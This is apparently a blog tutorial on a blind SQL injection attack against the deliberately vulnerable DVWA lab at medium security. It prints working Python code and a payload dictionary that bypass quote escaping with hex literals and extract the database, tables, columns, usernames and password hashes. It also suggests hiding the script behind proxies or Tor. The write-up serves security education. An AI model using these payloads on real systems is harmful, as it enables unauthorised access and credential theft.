StackZero
  • Homepage
  • Categories
    • Basics
    • Cryptography and Privacy
    • Ethical Hacking
      • Web Security
      • Network Security
    • Reverse Engineering
      • Malware Analysis
  • Contacts
No Result
View All Result
StackZero
No Result
View All Result

Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

October 26, 2022
in Ethical Hacking, Web Security
0 0
DVWA blind sqli medium security
0
SHARES
76
VIEWS
Share on FacebookShare on Twitter

After pwning low-security DVWA with a blind SQL Injection attack, it’s time to try a medium level of security by using Python!
I’m going to assume that you read the previous post at this link so that we can focus our efforts just on new concepts.

If you are not familiar with SQL Injection, here there is a list of all my previous articles that can make you an SQLi ninja!

Table of Contents

    • In-Band SQL injection
    • Blind SQL injection
  • Prerequisites
  • Step #0: The Differences with low-security DVWA
    • How to convert a string into its hexadecimal literal value in python?
    • Changing the GET (HTTP) method with POST (HTTP)
    • The query dictionary
  • Step #1: Getting The Database Info
  • Step #2: Getting The Tables Info
  • Step #3: Getting The Table Info
  • Step #4: Getting The Users Info
  • Step #5: Getting The Password
  • Step #6: Running The Blind SQL Injection Python Script On DVWA with a medium security level.
  • Step #7: Final Overview.
  • Conclusion

In-Band SQL injection

  • SQL Injection: What You Need to Know
  • Learn SQL injection in practice by hacking vulnerable application!
  • How To Hack With SQL Injection Attacks! DVWA low security
  • Hack With SQL Injection Attacks! DVWA medium security
  • Hack With SQL Injection Attacks! DVWA high security

Blind SQL injection

  • Blind SQL injection: How To Hack DVWA With Python (Low Security)
  • Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
  • Blind SQL Injection: How To Hack DVWA With Python (High Security)

So our starting point will be the python script that we used to exploit DVWA with a low-security level, and from that, we will make some little changes to face the medium level of difficulty.

As you already should know I’m lazy, so I will not configure a machine of my own again this time but I’m going to use the preconfigured one at TryHackMe.

You can find a brief explanation of the configuration steps in this article:

  • How To Hack With SQL Injection Attacks! DVWA low security

But now let’s start with the real challenge!

Prerequisites

As you already may know, I tried to build a little library that will allow you to focus just on the Blind SQL Injection attack (and ignore the login part plus the CSRF token management), so before following the tutorial get the “utils.py” file from the GitHub repository in this link (You can also find the whole code at the end if you prefer copy-pasting).

After that you should install the following libraries:

  • BeautifulSoup: library in charge of parsing HTML.
  • requests: a library that helps to send HTTP requests.

You can do that by typing this on your terminal:

pip install beautifulsoup4 requests

There is no more to do, you are ready to start!

Step #0: The Differences with low-security DVWA

Probably this is the most important section if you already have read the previous article.

We want to perform a Blind SQL injection attack with python on DVWA after setting the security level as “medium”.
We already did most of the work, so we can focus just on the differences between Low-Security and Medium-Security.

There are only two main differences that would make us change our previously taken approach.

  • The server uses the mysql_real_escape_string function to escape the query
  • The form uses a POST request instead of a GET.

We should know from this article that mysql_real_escape_string it’s not enough to prevent an SQL injection attack, regardless of its type.
As the documentation says:

mysql_real_escape_string() calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

So what if we can use python to perform a Blind SQL Injection attack without using those characters on DVWA medium security?

Now the question is:

How can we use a string in our Blind SQL Injection python script without using single/double quotes?

The MySQL documentation can help us with the concept of hexadecimal literals that can make us insert a string by using its hex value without quotes.

How to convert a string into its hexadecimal literal value in python?

In python we can convert a string into its hexadecimal literal value in a very simple way, we need to encode the function by using encode and then convert with the hex function.

But in order to use the hexadecimal version in a query we need to prepend the “0x” string to the result.

So to make everything more readable, let’s define the function that will convert every string in our python script.

def get_hex_str(string):
    return f'0x{string.encode("utf-8").hex()}'

Changing the GET (HTTP) method with POST (HTTP)

At this point, we have solved the problem of the mysql_real_escape_string function.
But if we take the python script we used into the low difficulty level as our starting point, we have to consider that we have to change the HTTP method into POST.

Thanks to the choices we made earlier we can achieve the goal just by changing a few lines in the get_query_result function.

Let’s see the new function:

def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        data = {
            "id": concrete_query,
            "Submit": "Submit"
        }
        response = s.post(sqli_blind_url, data=data)
        parser = DVWASQLiResponseParser(response)
        return parser.check_presence("exist")
    except AttributeError as e:
        return False

Wasn’t it simpler than you thought?

Now we can see step by step the little changes we can do to make the script work and exploit the Blind SQL section in our DVWA machine.

The query dictionary

I want to sort the code and make all the important work visible at a first glance, so differently from the previous script, this time I grouped all the payload in a global dictionary.

queries = {
    "db_length": "1 AND LENGTH(DATABASE()) = {} #",
    "db_name": "1 AND SUBSTRING(DATABASE(), {}, 1) = {}",
    "n_tables": "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #",
    "tables": "1 AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema={} {} LIMIT 1),{},1)={} #",
    "n_columns": "1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #",
    "columns": "1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #",
    "users": "1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #",
    "pwd_len": "1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #",
    "pwd": "1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #"
}

Step #1: Getting The Database Info

The first step in case of a black box attack is to get information about the database.
In this case, I would assume we already know that MySQL is the target DBMS (I showed how to know that in my previous articles by using the MySQL Version function).

The idea to perform a Blind SQL Injection attack with python on DVWA with a medium level of security is not so different from what we have already seen.
We have to use the LENGTH function and test it by comparing it with a reasonable range of values.
The payload will be ( remember that the curly braces are a placeholder that we are going to replace in our code):

1 AND LENGTH(DATABASE()) = {} #

After that, we know the length of the name of the database and we can test all the substrings, keeping in mind that we cannot use the quotes, so the values have to be converted into their hex values.

This is the payload that, thanks to the SUBSTRING function, will let us retrieve the name of the database:

1 AND SUBSTRING(DATABASE(), {}, 1) = {}

We have already seen how to run the payload and get the result, but a review will not hurt us!

query = queries["db_length"]
length = 0
for i in range(1,10):
    if get_query_result(s, sqli_blind_url, query, i):
        print(f"[+] The DB's name length is {i}")
        length = i
        break


query = queries["db_name"]
dbname = []

for i in range(1, length+1):
    for c in string.ascii_lowercase:
        if get_query_result(s, sqli_blind_url, query, i, get_hex_str(c)):
            dbname.append(c)
            break
dbname = "".join(dbname)
print(f'[+] Found a database with name: {dbname}')

Step #2: Getting The Tables Info

The next step that a good hacker will perform is to retrieve the tables’ information, in particular, we want to know:

  • Number
  • Names

Getting the number is not so different from getting the length of the database’s name, this time we need to count them and compare them with a range of reasonable numbers (you can make your hypotheses about what is “reasonable”!), for our examples I have chosen a range between one and ten.

To do that we are going to query the information_schema.tables metatable and use the COUNT function

This is the resulting payload:

1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #

The “WHERE” clause requires a string, so we have to pay attention and replace the placeholder with its hexadecimal value, this is how in python:

query = queries["n_tables"]
n_tables = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), i):
        print(f"[+] It has {i} tables")
        n_tables = i
        break

Now we know the number of tables, the next step is to list them, at this point we can have two main problems:

  • Blind SQL injection can allow testing just one name at a time.
  • Enumerating many tables can require a lot of time.

The way we solve the first problem is by appending a chain of not equals in the WHERE clause in order to exclude the tables we have already found (in the next paragraph we will see another technique with a LIMIT clause).

We are going to partially solve the second one by allowing the user to early stop the scanning when it finds the right table.

This is the code:

query = queries["tables"]

found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):        
    for j in range(1, 10):
        for c in string.ascii_lowercase:
            if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), completion, j, get_hex_str(c)):
                found_tables[i].append(c)
                break
    print("\t","".join(found_tables[i]))
    completion += f" AND table_name <> {get_hex_str(''.join(found_tables[i]))}"

Step #3: Getting The Table Info

The idea behind the article is to build an all-in-one script, so, how can the script know what is the target table?

The quick response is: it can’t!

So, without making up anything, we can just accept the user input:

users_table = input("Type the tabname to attack: ")

After that we have a string to insert in our WHERE clause (remember that you can insert just its hex values) and get the info we need:

  • Columns’ number
  • Columns’ names

The payloads are not so different from the ones we have seen for enumerating the tables.
Getting the number of columns can be done also in this case by using the COUNT and comparing the result with a range of numbers (1-10 in the example).

This is the payload that will return us the info we need:

1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #

And this is the code that will use this payload!

query = queries["n_columns"]

n_columns = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i):
        print(f"[+] It has {i} columns")
        n_columns = i
        break

Given this information we can get all the tab names we are looking for by using this payload:

1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #

In this case, we are listing all the tables.
The idea is to get the tables one by one, this time is done by using the LIMIT clause that has a row_count as the first parameter and the index as the second parameter.

The code would be nothing new to your eyes:

found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
    for i in range(n_columns):        
        for j in range(1, 12):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i, j, get_hex_str(c)):
                    found_columns[i].append(c)
                    
                    break
        print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
    print("\nSkipping this phase!")

Step #4: Getting The Users Info

Now we want to get the username and the password, and to do that we have to indicate we need to tell the script which columns are related to these fields.

Also in this case we will ask the user the target columns’ name:

users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")

Given those inputs, we can list the users, even in this case the user can stop the scanning.

A careful observer would notice that this time the script won’t count the number of users.
But I preferred to use a reasonable value aware that we would stop the scan sooner.

The payload that will allow us to do that is the following:

1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #

Step #5: Getting The Password

Finally, we are at the end of the python script that will allow us to perform a Blind SQL injection attack on a DVWA with a medium level of security.

Selecting the target user is essential to keep attacking, and once again we will ask the user:

username = input("Type the name of the target user: ")

Now we have all we need to complete the attack, we just miss two pieces of information and you probably imagine which ones:

  • The length of the password
  • The password itself

The payload to get the length of the password is:

1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #

As we did previously we can inject the payload with this python code:

query = queries["pwd_len"]
pwd_length = 0
for i in range(100):
    
    if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), i ):
        pwd_length = i
        print(f"[+] The password length is: {i}")

The last step in our script is to define the payload and the code that will run it.

1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #

This will be run by the following code.

query = queries["pwd"]
password = []
for j in range(1, pwd_length+1):
    
    for c in string.ascii_letters+string.digits:
        
        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), j, get_hex_str(c)):
            password.append(c)
            
            break
print("[+] Password is: ","".join(password))  

The python script is done, now just run it.

Step #6: Running The Blind SQL Injection Python Script On DVWA with a medium security level.

Saving the script in a file called “main.py” can be run from the command line by typing:

python main.py

And this is the final result!

python script performing SQL injection attack on DVWA medium security

The password is obviously the result of a Hash Function, probably MD5.

Cracking can be done by using online tools like CrackStation.

So, we can go to CrackStation and try to crack it:

DVWA password cracking on crackstation

Step #7: Final Overview.

You maybe want to see the whole code, so here is the overview of the whole code:

Conclusion

I hope you appreciated this article, I really enjoyed a lot to write it (especially the coding part).
I know that there are a lot of tools doing that better that are widely configurable, but this is the best way to learn, and maybe, in some cases, you are forced to do that during your career.

In addition to that, remember that this script can be modified to work with threads and maybe proxies or tor network, you can do a lot with this knowledge!

Thank you for your time, and every feedback would be appreciated. If you like my work keep following me on my blog and socials!

Tags: application securityblind sql injectionblind sqlicybersecuritydvwapythonsql injectionvulnerable applicationweb application securityweb exploitationweb security
Previous Post

Blind SQL injection: How To Hack DVWA With Python (Low Security)

Next Post

Blind SQL Injection: How To Hack DVWA With Python (High Security)

Next Post
Blind SQL Injection in DVWA with high security

Blind SQL Injection: How To Hack DVWA With Python (High Security)

You might also like

Hack File Inclusion in DVWA: A Full Walkthrough

Hack File Inclusion in DVWA: A Full Walkthrough

January 18, 2023
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction.

How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction.

December 15, 2022
What is unrestricted file upload vulnerability? And How to exploit it on DVWA!

What is unrestricted file upload vulnerability? And How to exploit it on DVWA!

November 29, 2022
How To Exploit CSRF In DVWA

How To Exploit CSRF In DVWA

November 23, 2022
CSRF intro featured

CSRF Introduction: What you need to know!

November 15, 2022
Bruteforce attack

How to Brute Force DVWA login with Python

November 3, 2022

StackZero

StackZero is a technical coding blog that focuses on cybersecurity. It mainly offers articles and tutorials that teach readers how to write security tools.
The blog covers a wide range of topics, from the basics of cryptography to the more advanced topics of exploitation and reverse engineering.

Tags

application security blind sqli blind sql injection bruteforce c certification command injection csrf csrf attack cybersecurity dom-based xss dvwa ethical-hacking exploitation file inclusion file upload hacking injection javascript kali linux local file inclusion malware malware analysis network-security penetration testing pentesting lab python reflected xss registry remote file inclusion security shellcode sql sqli sql injection stored xss virtual machine vulnerable application web application security web exploitation web security windows windows api windows virtual machine xss
  • Contacts
  • HomePage
  • Privacy Policy
  • Terms and Conditions

No Result
View All Result
  • Homepage
  • Categories
    • Basics
    • Cryptography and Privacy
    • Ethical Hacking
      • Web Security
      • Network Security
    • Reverse Engineering
      • Malware Analysis
  • Contacts

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In